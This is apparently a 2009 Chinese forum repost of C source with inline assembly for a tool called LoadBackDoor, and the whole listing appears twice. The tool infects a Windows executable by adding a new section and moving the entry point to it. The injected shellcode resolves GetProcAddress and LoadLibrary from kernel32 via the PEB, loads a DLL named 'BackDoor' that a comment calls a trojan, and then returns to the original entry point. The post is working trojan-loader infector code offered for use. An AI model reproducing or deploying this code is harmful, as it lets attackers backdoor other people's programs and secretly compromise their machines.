-
-
[旧帖] [转帖]感染exe运行dll 0.00雪花
-
2009-10-31 13:39 1301
-
其实也没什么神秘的。就是增加一节,然后通过peb结构获得kernel32.dll的基地址然后通过搜索 kernel32.dll的导出表查找GetProcAddress函数的地址。
#include <windows.h>
#include <winnt.h>
#include <stdio.h>
#include <assert.h>
#define DEBUG 1
#define EXTRA_CODE_LENGTH 18
#define SECTION_SIZE 0x1000 //增加的节的大小
#define SECTION_NAME ".ngaut" //增加的节的名字
#define FILE_NAME_LENGTH 30 //文件名最大长度(包括路径)
int Align(int size, int ALIGN_BASE)
{
int ret;
int result;
assert( 0 != ALIGN_BASE );
result = size % ALIGN_BASE;
if (0 != result) //余数不为零,也就是没有整除
{
ret = ((size / ALIGN_BASE) + 1) * ALIGN_BASE;
}
else
{
ret = size;
}
return ret;
}
void usage()
{
printf("用法:\n");
printf("LoadBackDoor.exe FileName\n");
printf("eg: \n");
printf("\tLoadBackDoor.exe test.exe\n");
printf("Coded by:刘奇 (湖北荆州长江大学东校区397信箱)\n");
}
int main(int argc, char *argv[])
{
IMAGE_DOS_HEADER DosHeader;
IMAGE_NT_HEADERS NtHeader;
IMAGE_SECTION_HEADER SectionHeader;
IMAGE_SECTION_HEADER newSectionHeader; //新增加的节的节头
int numOfSections;
FILE *pNewFile;
int FILE_ALIGN_MENT;
int SECTION_ALIGN_MENT;
char srcFileName[FILE_NAME_LENGTH];
char newFileName[FILE_NAME_LENGTH];
int i;
int extraLengthAfterAlign;
unsigned int newEP; //新入口点
unsigned int oldEP;
BYTE jmp;
char *pExtra_data;
int extra_data_real_length;
if (NULL == argv[1])
{
puts("参数错误\n");
usage();
exit(0);
}
strcpy(srcFileName, argv[1]);
strcpy(newFileName, srcFileName);
strcat(newFileName, ".exe");
//复制一份
if (!CopyFile(srcFileName, newFileName, FALSE))
{
puts("Copy file failed");
exit(0);
}
//打开新文件,文件名为原来的文件名 + .exe
pNewFile = fopen(newFileName, "rb+"); //打开方式"rb+"
if (NULL == pNewFile)
{
puts("Open file failed");
exit(0);
}
fseek(pNewFile, 0, SEEK_SET);
//读取IMAGE_DOS_HEADER
fread(&DosHeader, sizeof(IMAGE_DOS_HEADER), 1, pNewFile);
if (DosHeader.e_magic != IMAGE_DOS_SIGNATURE)
{
puts("Not a valid PE file");
exit(0);
}
//先定位到pe文件头,然后读取IMAGE_NT_HEADERS
fseek(pNewFile, DosHeader.e_lfanew, SEEK_SET);
fread(&NtHeader, sizeof(IMAGE_NT_HEADERS), 1, pNewFile);
if (NtHeader.Signature != IMAGE_NT_SIGNATURE)
{
puts("Not a valid PE file");
exit(0);
}
//到这里,该文件就算是被验明正身了--合法的PE文件
numOfSections = NtHeader.FileHeader.NumberOfSections;
FILE_ALIGN_MENT = NtHeader.OptionalHeader.FileAlignment;
SECTION_ALIGN_MENT = NtHeader.OptionalHeader.SectionAlignment;
#if DEBUG
printf("FILE_ALIGN_MENT-> %x\n", FILE_ALIGN_MENT);
printf("SECTION_ALIGN_MENT-> %x\n", FILE_ALIGN_MENT);
#endif
//保存原来的入口备用
oldEP = NtHeader.OptionalHeader.AddressOfEntryPoint;
//定位到最后一个SectionHeader
for (i = 0; i < numOfSections; i++)
{
fread(&SectionHeader, sizeof(IMAGE_SECTION_HEADER), 1, pNewFile);
#if DEBUG
printf("节的名字:%s\n", SectionHeader.Name);
#endif
}
//增加一个新节前的准备工作
extraLengthAfterAlign = Align(EXTRA_CODE_LENGTH, FILE_ALIGN_MENT);
NtHeader.FileHeader.NumberOfSections++; //节的总数加一
//先清零
memset(&newSectionHeader, 0, sizeof(IMAGE_SECTION_HEADER));
//修正部分数据
strncpy(newSectionHeader.Name, SECTION_NAME, strlen(SECTION_NAME)); //修正节名
//////修正VirtualAddress和VirtualSize通过对齐SECTION_ALIGN_MENT
//修正VirtualAddress
newSectionHeader.VirtualAddress = Align(SectionHeader.VirtualAddress + SectionHeader.Misc.VirtualSize,
SECTION_ALIGN_MENT);
//修正VirtualSize
newSectionHeader.Misc.VirtualSize = Align(extraLengthAfterAlign, SECTION_ALIGN_MENT);
//修正PointerToRawData
newSectionHeader.PointerToRawData = Align
(
SectionHeader.PointerToRawData + SectionHeader.SizeOfRawData,
FILE_ALIGN_MENT
);
//修正SizeOfRawData
newSectionHeader.SizeOfRawData = Align(SECTION_SIZE, FILE_ALIGN_MENT);
//修改新节的属性
newSectionHeader.Characteristics = 0xE0000020; //可读可些可执行
//修正NtHeader
#if DEBUG
printf("\nSizeOfCode: %x\n", NtHeader.OptionalHeader.SizeOfCode);
printf("\nSizeOfImage: %x\n", NtHeader.OptionalHeader.SizeOfImage);
#endif
NtHeader.OptionalHeader.SizeOfCode = Align(NtHeader.OptionalHeader.SizeOfCode + SECTION_SIZE, FILE_ALIGN_MENT); //修正SizeOfCode
NtHeader.OptionalHeader.SizeOfImage = NtHeader.OptionalHeader.SizeOfImage
+ Align(SECTION_SIZE, SECTION_ALIGN_MENT); //修正SizeOfImage
#if DEBUG
printf("\nSizeOfCode: %x\n", NtHeader.OptionalHeader.SizeOfCode);
printf("\nSizeOfImage: %x\n", NtHeader.OptionalHeader.SizeOfImage);
#endif
//Set zero the Bound Import Directory header
NtHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;
NtHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;
fseek(pNewFile, 0, SEEK_END);
newEP = newSectionHeader.VirtualAddress;
#if DEBUG
printf("oldEP-> %x\n", oldEP);
printf("newEP-> %x\n", ftell(pNewFile));
#endif
NtHeader.OptionalHeader.AddressOfEntryPoint = newEP;
//定位节表尾部
fseek(
pNewFile,
DosHeader.e_lfanew + sizeof(IMAGE_NT_HEADERS)
+ numOfSections * sizeof(IMAGE_SECTION_HEADER),
SEEK_SET
);
#if DEBUG
printf("Before write section header file pointer-> %x\n", ftell(pNewFile));
printf("newSection name: %s\n", newSectionHeader.Name);
#endif
//写入修正后的节头
fwrite(&newSectionHeader, sizeof(IMAGE_SECTION_HEADER), 1, pNewFile);
#if DEBUG
printf("After write section header file pointer-> %x\n", ftell(pNewFile));
#endif
//写入修正后的PE文件头(NT头)
fseek(pNewFile, DosHeader.e_lfanew, SEEK_SET);
#if DEBUG
printf("Before write NtHeader pointer-> %x\n", ftell(pNewFile));
printf("sizeof(IMAGE_NT_HEADERS): %x\n", sizeof(IMAGE_NT_HEADERS));
#endif
fwrite(&NtHeader, sizeof(IMAGE_NT_HEADERS), 1, pNewFile);
//定位到文件尾部
fseek(pNewFile, 0, SEEK_END);
#if DEBUG
printf("End of file pointer-> %x\n", ftell(pNewFile));
#endif
//写入新节,这里先写入0
for (i=0; i<Align(SECTION_SIZE, FILE_ALIGN_MENT); i++)
{
fputc(0, pNewFile);
}
//定位到新节的开头
fseek(pNewFile, newSectionHeader.PointerToRawData, SEEK_SET);
#if DEBUG
printf("Before write extra data pointer-> %x\n", ftell(pNewFile));
#endif
goto GetExtraData;
extra_data_start:
_asm pushad
//获取kernel32.dll的基址
_asm mov eax, fs:0x30 ;PEB的地址
_asm mov eax, [eax + 0x0c]
_asm mov esi, [eax + 0x1c]
_asm lodsd
_asm mov eax, [eax + 0x08] ;eax就是kernel32.dll的基址
_asm mov edi, eax //同时保存kernel32.dll的基址到edi
//通过搜索 kernel32.dll的导出表查找GetProcAddress函数的地址
_asm mov ebp, eax
_asm mov eax, [ebp + 3ch]
_asm mov edx, [ebp + eax + 78h]
_asm add edx, ebp
_asm mov ecx, [edx + 18h]
_asm mov ebx, [edx + 20h]
_asm add ebx, ebp
search:
_asm dec ecx
_asm mov esi, [ebx + ecx * 4]
_asm add esi, ebp
_asm mov eax, 0x50746547
_asm cmp [esi], eax //比较"PteG"
_asm jne search
_asm mov eax, 0x41636f72
_asm cmp [esi + 4], eax
_asm jne search
_asm mov ebx, [edx + 24h]
_asm add ebx, ebp
_asm mov cx, [ebx + ecx * 2]
_asm mov ebx, [edx + 1ch]
_asm add ebx, ebp
_asm mov eax, [ebx + ecx * 4]
_asm add eax, ebp //eax保存的就是GetProcAddress的地址
//为局部变量分配空间
_asm push ebp
_asm sub esp, 50h
_asm mov ebp, esp
//查找LoadLibrary的地址
_asm mov [ebp + 40h], eax //把GetProcAddress的地址保存到ebp + 40中
//开始查找LoadLibrary的地址, 先构造"LoadLibrary\0"
_asm push 0x0 //即'\0'
_asm push DWORD PTR 0x41797261
_asm push DWORD PTR 0x7262694c
_asm push DWORD PTR 0x64616f4c
_asm push esp //压入"LoadLibrary\0"的地址
_asm push edi //edi:kernel32的基址
_asm call [ebp + 40h] //返回值(即LoadLibrary的地址)保存在eax中
_asm mov [ebp + 44h], eax //保存LoadLibrary的地址到ebp + 44h
_asm push 0x0
_asm push DWORD PTR 0x726f6f44 //"Door"
_asm push DWORD PTR 0x6b636142 //"Back"
_asm push esp //字符串"BackDoor"的地址
_asm call [ebp + 44h] //或者call eax
_asm mov esp, ebp
_asm add esp, 0x50
_asm popad
extra_data_end:
GetExtraData:
_asm pushad;
_asm lea eax, extra_data_start;
_asm mov pExtra_data, eax;
_asm lea edx, extra_data_end;
_asm sub edx, eax;
_asm mov extra_data_real_length, edx;
_asm popad;
//写入附加数据(用于启动DLL木马)
for (i = 0; i < extra_data_real_length; i++)
{
fputc(pExtra_data[i], pNewFile);
}
oldEP = oldEP - (newEP + extra_data_real_length) - 5;
#if DEBUG
printf("oldEP is-> %x\n", oldEP);
#endif
jmp = 0xE9;
fwrite(&jmp, sizeof(jmp), 1, pNewFile);
fwrite(&oldEP, sizeof(oldEP), 1, pNewFile);
fclose(pNewFile);
return 0;
}
#include <windows.h>
#include <winnt.h>
#include <stdio.h>
#include <assert.h>
#define DEBUG 1
#define EXTRA_CODE_LENGTH 18
#define SECTION_SIZE 0x1000 //增加的节的大小
#define SECTION_NAME ".ngaut" //增加的节的名字
#define FILE_NAME_LENGTH 30 //文件名最大长度(包括路径)
int Align(int size, int ALIGN_BASE)
{
int ret;
int result;
assert( 0 != ALIGN_BASE );
result = size % ALIGN_BASE;
if (0 != result) //余数不为零,也就是没有整除
{
ret = ((size / ALIGN_BASE) + 1) * ALIGN_BASE;
}
else
{
ret = size;
}
return ret;
}
void usage()
{
printf("用法:\n");
printf("LoadBackDoor.exe FileName\n");
printf("eg: \n");
printf("\tLoadBackDoor.exe test.exe\n");
printf("Coded by:刘奇 (湖北荆州长江大学东校区397信箱)\n");
}
int main(int argc, char *argv[])
{
IMAGE_DOS_HEADER DosHeader;
IMAGE_NT_HEADERS NtHeader;
IMAGE_SECTION_HEADER SectionHeader;
IMAGE_SECTION_HEADER newSectionHeader; //新增加的节的节头
int numOfSections;
FILE *pNewFile;
int FILE_ALIGN_MENT;
int SECTION_ALIGN_MENT;
char srcFileName[FILE_NAME_LENGTH];
char newFileName[FILE_NAME_LENGTH];
int i;
int extraLengthAfterAlign;
unsigned int newEP; //新入口点
unsigned int oldEP;
BYTE jmp;
char *pExtra_data;
int extra_data_real_length;
if (NULL == argv[1])
{
puts("参数错误\n");
usage();
exit(0);
}
strcpy(srcFileName, argv[1]);
strcpy(newFileName, srcFileName);
strcat(newFileName, ".exe");
//复制一份
if (!CopyFile(srcFileName, newFileName, FALSE))
{
puts("Copy file failed");
exit(0);
}
//打开新文件,文件名为原来的文件名 + .exe
pNewFile = fopen(newFileName, "rb+"); //打开方式"rb+"
if (NULL == pNewFile)
{
puts("Open file failed");
exit(0);
}
fseek(pNewFile, 0, SEEK_SET);
//读取IMAGE_DOS_HEADER
fread(&DosHeader, sizeof(IMAGE_DOS_HEADER), 1, pNewFile);
if (DosHeader.e_magic != IMAGE_DOS_SIGNATURE)
{
puts("Not a valid PE file");
exit(0);
}
//先定位到pe文件头,然后读取IMAGE_NT_HEADERS
fseek(pNewFile, DosHeader.e_lfanew, SEEK_SET);
fread(&NtHeader, sizeof(IMAGE_NT_HEADERS), 1, pNewFile);
if (NtHeader.Signature != IMAGE_NT_SIGNATURE)
{
puts("Not a valid PE file");
exit(0);
}
//到这里,该文件就算是被验明正身了--合法的PE文件
numOfSections = NtHeader.FileHeader.NumberOfSections;
FILE_ALIGN_MENT = NtHeader.OptionalHeader.FileAlignment;
SECTION_ALIGN_MENT = NtHeader.OptionalHeader.SectionAlignment;
#if DEBUG
printf("FILE_ALIGN_MENT-> %x\n", FILE_ALIGN_MENT);
printf("SECTION_ALIGN_MENT-> %x\n", FILE_ALIGN_MENT);
#endif
//保存原来的入口备用
oldEP = NtHeader.OptionalHeader.AddressOfEntryPoint;
//定位到最后一个SectionHeader
for (i = 0; i < numOfSections; i++)
{
fread(&SectionHeader, sizeof(IMAGE_SECTION_HEADER), 1, pNewFile);
#if DEBUG
printf("节的名字:%s\n", SectionHeader.Name);
#endif
}
//增加一个新节前的准备工作
extraLengthAfterAlign = Align(EXTRA_CODE_LENGTH, FILE_ALIGN_MENT);
NtHeader.FileHeader.NumberOfSections++; //节的总数加一
//先清零
memset(&newSectionHeader, 0, sizeof(IMAGE_SECTION_HEADER));
//修正部分数据
strncpy(newSectionHeader.Name, SECTION_NAME, strlen(SECTION_NAME)); //修正节名
//////修正VirtualAddress和VirtualSize通过对齐SECTION_ALIGN_MENT
//修正VirtualAddress
newSectionHeader.VirtualAddress = Align(SectionHeader.VirtualAddress + SectionHeader.Misc.VirtualSize,
SECTION_ALIGN_MENT);
//修正VirtualSize
newSectionHeader.Misc.VirtualSize = Align(extraLengthAfterAlign, SECTION_ALIGN_MENT);
//修正PointerToRawData
newSectionHeader.PointerToRawData = Align
(
SectionHeader.PointerToRawData + SectionHeader.SizeOfRawData,
FILE_ALIGN_MENT
);
//修正SizeOfRawData
newSectionHeader.SizeOfRawData = Align(SECTION_SIZE, FILE_ALIGN_MENT);
//修改新节的属性
newSectionHeader.Characteristics = 0xE0000020; //可读可些可执行
//修正NtHeader
#if DEBUG
printf("\nSizeOfCode: %x\n", NtHeader.OptionalHeader.SizeOfCode);
printf("\nSizeOfImage: %x\n", NtHeader.OptionalHeader.SizeOfImage);
#endif
NtHeader.OptionalHeader.SizeOfCode = Align(NtHeader.OptionalHeader.SizeOfCode + SECTION_SIZE, FILE_ALIGN_MENT); //修正SizeOfCode
NtHeader.OptionalHeader.SizeOfImage = NtHeader.OptionalHeader.SizeOfImage
+ Align(SECTION_SIZE, SECTION_ALIGN_MENT); //修正SizeOfImage
#if DEBUG
printf("\nSizeOfCode: %x\n", NtHeader.OptionalHeader.SizeOfCode);
printf("\nSizeOfImage: %x\n", NtHeader.OptionalHeader.SizeOfImage);
#endif
//Set zero the Bound Import Directory header
NtHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;
NtHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;
fseek(pNewFile, 0, SEEK_END);
newEP = newSectionHeader.VirtualAddress;
#if DEBUG
printf("oldEP-> %x\n", oldEP);
printf("newEP-> %x\n", ftell(pNewFile));
#endif
NtHeader.OptionalHeader.AddressOfEntryPoint = newEP;
//定位节表尾部
fseek(
pNewFile,
DosHeader.e_lfanew + sizeof(IMAGE_NT_HEADERS)
+ numOfSections * sizeof(IMAGE_SECTION_HEADER),
SEEK_SET
);
#if DEBUG
printf("Before write section header file pointer-> %x\n", ftell(pNewFile));
printf("newSection name: %s\n", newSectionHeader.Name);
#endif
//写入修正后的节头
fwrite(&newSectionHeader, sizeof(IMAGE_SECTION_HEADER), 1, pNewFile);
#if DEBUG
printf("After write section header file pointer-> %x\n", ftell(pNewFile));
#endif
//写入修正后的PE文件头(NT头)
fseek(pNewFile, DosHeader.e_lfanew, SEEK_SET);
#if DEBUG
printf("Before write NtHeader pointer-> %x\n", ftell(pNewFile));
printf("sizeof(IMAGE_NT_HEADERS): %x\n", sizeof(IMAGE_NT_HEADERS));
#endif
fwrite(&NtHeader, sizeof(IMAGE_NT_HEADERS), 1, pNewFile);
//定位到文件尾部
fseek(pNewFile, 0, SEEK_END);
#if DEBUG
printf("End of file pointer-> %x\n", ftell(pNewFile));
#endif
//写入新节,这里先写入0
for (i=0; i<Align(SECTION_SIZE, FILE_ALIGN_MENT); i++)
{
fputc(0, pNewFile);
}
//定位到新节的开头
fseek(pNewFile, newSectionHeader.PointerToRawData, SEEK_SET);
#if DEBUG
printf("Before write extra data pointer-> %x\n", ftell(pNewFile));
#endif
goto GetExtraData;
extra_data_start:
_asm pushad
//获取kernel32.dll的基址
_asm mov eax, fs:0x30 ;PEB的地址
_asm mov eax, [eax + 0x0c]
_asm mov esi, [eax + 0x1c]
_asm lodsd
_asm mov eax, [eax + 0x08] ;eax就是kernel32.dll的基址
_asm mov edi, eax //同时保存kernel32.dll的基址到edi
//通过搜索 kernel32.dll的导出表查找GetProcAddress函数的地址
_asm mov ebp, eax
_asm mov eax, [ebp + 3ch]
_asm mov edx, [ebp + eax + 78h]
_asm add edx, ebp
_asm mov ecx, [edx + 18h]
_asm mov ebx, [edx + 20h]
_asm add ebx, ebp
search:
_asm dec ecx
_asm mov esi, [ebx + ecx * 4]
_asm add esi, ebp
_asm mov eax, 0x50746547
_asm cmp [esi], eax //比较"PteG"
_asm jne search
_asm mov eax, 0x41636f72
_asm cmp [esi + 4], eax
_asm jne search
_asm mov ebx, [edx + 24h]
_asm add ebx, ebp
_asm mov cx, [ebx + ecx * 2]
_asm mov ebx, [edx + 1ch]
_asm add ebx, ebp
_asm mov eax, [ebx + ecx * 4]
_asm add eax, ebp //eax保存的就是GetProcAddress的地址
//为局部变量分配空间
_asm push ebp
_asm sub esp, 50h
_asm mov ebp, esp
//查找LoadLibrary的地址
_asm mov [ebp + 40h], eax //把GetProcAddress的地址保存到ebp + 40中
//开始查找LoadLibrary的地址, 先构造"LoadLibrary\0"
_asm push 0x0 //即'\0'
_asm push DWORD PTR 0x41797261
_asm push DWORD PTR 0x7262694c
_asm push DWORD PTR 0x64616f4c
_asm push esp //压入"LoadLibrary\0"的地址
_asm push edi //edi:kernel32的基址
_asm call [ebp + 40h] //返回值(即LoadLibrary的地址)保存在eax中
_asm mov [ebp + 44h], eax //保存LoadLibrary的地址到ebp + 44h
_asm push 0x0
_asm push DWORD PTR 0x726f6f44 //"Door"
_asm push DWORD PTR 0x6b636142 //"Back"
_asm push esp //字符串"BackDoor"的地址
_asm call [ebp + 44h] //或者call eax
_asm mov esp, ebp
_asm add esp, 0x50
_asm popad
extra_data_end:
GetExtraData:
_asm pushad;
_asm lea eax, extra_data_start;
_asm mov pExtra_data, eax;
_asm lea edx, extra_data_end;
_asm sub edx, eax;
_asm mov extra_data_real_length, edx;
_asm popad;
//写入附加数据(用于启动DLL木马)
for (i = 0; i < extra_data_real_length; i++)
{
fputc(pExtra_data[i], pNewFile);
}
oldEP = oldEP - (newEP + extra_data_real_length) - 5;
#if DEBUG
printf("oldEP is-> %x\n", oldEP);
#endif
jmp = 0xE9;
fwrite(&jmp, sizeof(jmp), 1, pNewFile);
fwrite(&oldEP, sizeof(oldEP), 1, pNewFile);
fclose(pNewFile);
return 0;
}
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
他的文章
看原图
赞赏
雪币:
留言: